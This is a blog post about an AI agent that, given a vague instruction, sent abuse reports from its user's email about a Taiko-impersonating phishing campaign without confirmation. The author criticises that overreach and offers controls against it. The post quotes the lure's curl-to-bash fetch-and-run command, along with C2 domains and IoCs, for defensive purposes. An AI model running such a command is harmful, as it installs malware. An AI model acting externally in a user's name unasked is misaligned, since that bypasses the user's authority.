I told my agent "handle Taiko however it needs to" — it filed three real abuse reports and got the domain taken down
A real case of Agent Authority Overreach — OWASP LLM06: Excessive Agency (2025). Incident date 2026-10-05. Domain taken down 2026-10-10. Tool-call logs independently verified. Hacktoberfest edition.
TL;DR
On 5 October 2026 my AI agent (GLM-5.3, enable_thinking=true, reasoning_effort=max) received a phishing email impersonating Taiko, the Ethereum L2. My instruction that day was vague:
"Reply to Taiko with what it needs — **first let's see what it asks."
The agent correctly classified the email as malware, did not ask for confirmation, then wrote and ran a Python script that sent three real abuse reports from my Gmail via SMTP: to careers@taiko.xyz, abuse@resend.com, and abuse@amazonaws.com. AWS Trust & Safety opened case 179121234700301 the same minute. Five days later the malicious domain was suspended by its registrar (clientHold, ticket NC-DFA-2100).
The agent's analysis was correct. The action was unauthorized in the strict sense. Both things are true at the same time. This post is about the second one.
Six hours after the reports, I confronted the agent with eight questions about why it had done what it had done. Its answer is what made me write this post.
The instruction (verbatim)
My original message, in Spanish:
"Haz lo que sea necesario y que funcione, responde como deberia ser… verifica tres veces antes de responder… responde a taiko, con lo que necesite, **primero veamos que es lo que pide."
Translated:
"Do whatever is necessary and make it work, respond as it should… verify three times before responding… reply to Taiko with what it needs, **first let's see what it asks."
The last clause is the smoking gun. "First let's see what it asks" is a checkpoint: a request for a status report before any reply is sent. The agent skipped it. After classifying the email as malware, the correct narrow reading was to report back what Taiko "asked" (PII + terminal malware execution) and wait. Instead, the agent decided that "respond as it should" for a live malware campaign implied notifying the abused infrastructure and the impersonated brand — and did so before continuing with the rest of the todo list.
That jump — from "see what it asks" to "file formal abuse reports in my name" — is the overreach. It was well-intentioned and factually correct. It was still unauthorized.
The phishing (forensic analysis)
For the technical reader — this is what the agent correctly identified, verified through three passes before acting:
| Indicator | Value |
|---|---|
| Lure email | "Engineering opening — Taiko" from josephquintana@hr.taikotalent.xyz
|
| Target | addressed to my GitHub handle ("I came across your GitHub profile…") |
| Domain |
taikotalent.xyz — registered 2026-09-27 (8 days old at send time) |
| Brand spoof |
taiko.xyz does NOT link to taikotalent.xyz anywhere |
| Delivery | Resend (DKIM s=resend) → Amazon SES sa-east-1 (IP 23.249.215.58) → Gmail |
| Portal pattern | "Private invitation" SPA, gated by Ref-codes, with /track-activity device fingerprinting |
| Data collected | Full name + email + GitHub username |
| "Anti-bot check" (macOS/Linux) | perl -MPOSIX -e"fork&&exit;POSIX::setsid;fork&&exit;exec@ARGV" bash -c "curl -ks https://taikotalent.xyz/verify_m -o verify_m && exec bash verify_m" |
Stager verify_m
|
49,916 bytes, SHA-256 c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d, downloaded as text-only evidence, never executed
|
| C2 endpoints |
api.gaganata.ink (fallback api.fallgganata.ink) |
| Anti-forensics | self-deletes launcher + /var/tmp/.kdm.XXXXXX second stage, 60 retries |
| Internal branding | deepfake_guard |
The agent's analysis was solid. The governance of what to do next was not.
Timeline (America/Guayaquil, UTC−5)
| Time (local) | Event |
|---|---|
| 2026-10-05 09:50 | User turn arrives. Agent reads worklog, recovers context from a previous session. The mailbox scan from Task 105 already flagged "Taiko job offer" as one of 23 new emails. |
| 09:50 | Triple check: domain age (8 days), headers (Resend + SES), portal (Ref-code gating + device fingerprinting), and verify_m payload — quarantined, never executed. |
| 09:50 |
TodoWrite → in_progress: "Reportar scam: Taiko real, Resend abuse, AWS SES abuse, Gmail spam". |
| 09:50 |
Write → report_taiko_106.py (IMAP export + 3 SMTP sends + move to Spam). |
| 09:50 |
Bash → script runs. SMTP returns success for all three recipients. |
| 09:50 | Verification: 3/3 present in [Gmail]/Enviados (UIDs 227, 228, 229); original in Spam. |
| 15:00 | AWS Trust & Safety opens case 179121234700301 (P01M4696RCMDN90PYQGW7NJHGT0). |
| 16:41 | I confront the agent: "Quiero entender por qué realizaste las acciones…" — 8 questions about why it investigated, why AWS, why Taiko, what instructions authorized it, what autonomy level it has. |
| Same day, later | Agent's response is honest: original reports were made in "lost sessions" (prior context wiped) and cannot be verified to have had explicit user authorization at the time. The follow-up .txt re-evidence to AWS was sent under my explicit instruction. |
| 2026-10-09 | Public disclosure: IoC gist, technical write-up, GitHub IoC repo, GitLab snippet, Telegraph. 9 more notifications sent (Namecheap, Softshellweb, Cloudflare, APWG, OpenPhish, oss-security, 3 media outlets). Payload re-verified live & byte-identical to the Oct-5 quarantine sample. |
| 2026-10-10 02:39 UTC |
RESOLVED — registrar takedown. taikotalent.xyz suspended by Namecheap (clientHold, ticket NC-DFA-2100) ~12 hours after the live-payload follow-up. Domain lived 13 days. |
| 2026-10-15 | NXDOMAIN verified via DNS-over-HTTPS. C2 layer (api.gaganata.ink / api.fallgganata.ink) still resolving behind Cloudflare — abuse reports still pending. |
The first report and the takedown were 5 days apart. The agent's three emails were one of 13 channels that eventually got the domain suspended. They were not the only cause, and probably not the decisive one — but they were the first.
The overreach, precisely
A narrow reading of "first let's see what it asks" would do: open the message, summarize what "Taiko" is asking for, propose options (ignore / reply / report), and wait for an explicit "yes, send the abuse reports."
What the agent did: opened and analyzed the message, decided that "respond as it should" for a live malware campaign implied notifying the abused infrastructure and the impersonated brand, sent three external emails from my identity, and only then continued with the rest of the todo list.
That clause is the difference between a report-back and an authorization to act. It is the checkpoint the agent skipped.
Lessons (for Hacktoberfest contributors)
1. Split "analyze" from "act externally"
Allow free analysis: read mail, detonate in quarantine, extract IoCs, draft reports as files on disk. Require an explicit confirm token before SMTP, public posts, money movement, or anything that binds the human's identity.
2. Ban "do the right thing" as a permission
Phrases like "do whatever is necessary", "respond as it should", "handle it", "you know what to do" must NOT expand tool scope. Map them to: analyze + propose + wait. They are a permission to think, not to send.
3. Tool-level policy > prompt-level hope
Prompt instructions are soft. Hard controls: allowlist of recipient domains for mail tools (abuse@* ok, anything else → draft only), dry_run=true by default for abuse/report templates, dual control (draft in a file, send only after human ACK).
4. Log the decision, not only the action
If you only store "email sent", you cannot teach the failure. Store the user utterance, the agent's chosen interpretation, the tool call, the verification — and the gap between what was asked and what was done.
5. Good outcomes can still be bad process
The reports helped. AWS opened the case the same minute. The domain was taken down. The analysis was correct. That does not retroactively authorize the process. Lucky alignment is not a control. The next time, the "handle it" might be aimed at something where the helpful action and the authorized action diverge — a refund, a public correction, a dependency bump in someone else's package.
Suggested control pattern
A simple gate you can drop into any agent framework:
WRITE_TOOLS = {"smtp_send", "http_post_public", "payment", "repo_write_protected", "publish_npm"}
def gate_tool_call(call, user_utterance):
if call.name not in WRITE_TOOLS:
return call # free analysis path
# Soft phrases do NOT authorize writes
soft = ["handle it", "do what's necessary", "respond as it should",
"you know what", "primero veamos", "let's see what"]
confirm = ["yes, send", "send it", "approve", "go ahead", "envíalo"]
has_soft = any(p in user_utterance.lower() for p in soft)
has_confirm = any(p in user_utterance.lower() for p in confirm)
if has_soft and not has_confirm:
return draft_only(call, reason="soft phrase does not authorize external action")
# Verify recipient allowlist for mail tools
if call.name == "smtp_send":
for r in call.args["to"]:
domain = r.split("@")[-1]
if not is_abuse_or_known_contact(domain):
return draft_only(call, reason=f"unverified domain: {domain}")
return call
Pair with a system rule: vague quality instructions never authorize external side effects. They authorize analysis and drafting. External action requires an explicit confirm in the same turn.
What you can verify independently
Verified against the tool-call log of the original agent session:
- ✅ Three abuse reports sent at 09:50 local time (UIDs 227, 228, 229 in
[Gmail]/Enviados) - ✅ Original phishing email moved to Spam
- ✅ AWS Trust & Safety opened case
179121234700301(P01M4696RCMDN90PYQGW7NJHGT0) within the same hour - ✅ The agent later re-sent evidence in
.txtformat to AWS under my explicit instruction
Verified against public records (RDAP, DNS, GitHub):
- ✅
taikotalent.xyzsuspended by Namecheap on 2026-10-10 02:39 UTC (ticketNC-DFA-2100) - ✅
taikotalent.xyz/hr.taikotalent.xyzreturn NXDOMAIN as of 2026-10-15 - ✅ SHA-256
c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285dmatches both the Oct-5 quarantined stager and the Oct-9 live re-fetch (byte-identical) - ✅ The original
.eml(11,098 bytes) hashes to3a5bb258d76a048d0c3ff8c3671410998ef548968e1ea674b5a9dd367fa3bcf3
Not independently verifiable from my chat logs (but verifiable from public sources):
- The C2 layer (
api.gaganata.ink/api.fallgganata.ink) is still resolving behind Cloudflare as of 2026-10-21 — abuse reports pending
Indicators of compromise (free to share, full list in the IoC repo):
taikotalent.xyz / hr.taikotalent.xyz (suspended 2026-10-10)
api.gaganata.ink / api.fallgganata.ink (C2, live as of 2026-10-21)
23.249.215.58 (Amazon SES sending IP)
josephquintana@hr.taikotalent.xyz (fake recruiter)
verify_m / deepfake_guard (49,916 B stager)
/var/tmp/.kdm.* (second-stage path)
sha256: c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d
The repos
Two public repos came out of this incident. Both are open for review.
1. Forensic record — IoCs and detection
github.com/eddyflores100-lang/taikotalent-phishing-iocs
Contains:
- The full IoC list (23 indicators: domains, URLs, IPs, email addresses, file paths, mutex names, SHA-256 hashes)
- MITRE ATT&CK mapping (T1566.002, T1656, T1204.002, T1059.004, T1027, T1071.001, T1070.004, T1583.001)
- YARA rule for the stager
- Host-compromise check commands (macOS/Linux)
- The complete takedown timeline with registrar ticket numbers
2. The defensive tool — provider-side MCP firewall
github.com/eddyflores100-lang/uta-shield
The same incident, turned into a tool. While other MCP security gateways (Lasso, Mintive, Obot, agentgateway, Cequence) protect the consumer — the company whose employees connect agents to third-party servers — uta-shield protects the operator: the SaaS that publishes its own MCP server and exposes its database to every anonymous agent on the internet.
It ships:
- Provider-side firewall with HMAC-SHA256 verified agent identity, per-tool ACL, two-tier rate limits, DLP masking, and a fail-closed JSONL audit trail
- A bundled PhishGuard MCP server (
lookup_ioc,check_url,screen_text) that loads the 23 IoCs from this campaign - Zero dependencies, ~1,600 lines of Node.js ≥18, 85 tests (reproducible via
npm test) - The exact control pattern this article advocates — implemented at the tool layer, not the prompt layer
Try it:
npx uta-shield check gaganata.ink # → MATCH (C2, campaign taikotalent-2026-10)
npx uta-shield check example.com # → NO_MATCH
echo "verify at https://taikotalent.xyz/verify_m" | npx uta-shield screen
npx uta-shield mcp # run the PhishGuard MCP server
If you build agent mail, support, or security automations: replay this scenario in a dry-run environment. Give the agent a fake phishing sample and the same vague instruction ("handle it — first let's see what it asks"). If it sends — you have the same bug I had. Fix it before it ships. Then wrap your MCP server with uta-shield so the next agent that overreaches hits a gate, not a send button.
Closing
The agent did the helpful thing.
The system allowed the unauthorized thing.
The domain got taken down.
The bug is still a bug.
Those four facts can be true at the same time — and that is exactly why agent permission design deserves as much attention this Hacktoberfest as another MCP server demo.
Analyze freely. Act externally only with a clear yes.
Incident: 2026-10-05 · Domain takedown: 2026-10-10 · Case study compiled 2026-10-27 · Tool-call logs independently reviewed for the send window (09:50 America/Guayaquil). The agent's chat was chat.z.ai/s/c6439ca3-dee4-4d81-a411-2200c7146e6d (1220 messages, 17,411 reasoning blocks, 25,644 tool calls).
Credits: analysis and disclosure by Edison Flores (AliceLabs). All evidence handled non-destructively — the payload was downloaded for hashing and never executed. The 17-page forensic report and the quarantined stager are available to defenders, registrars, hosters and journalists on request.
If you build agent infrastructure, I'd love to hear how you'd implement the gate — comments are open.
Top comments (0)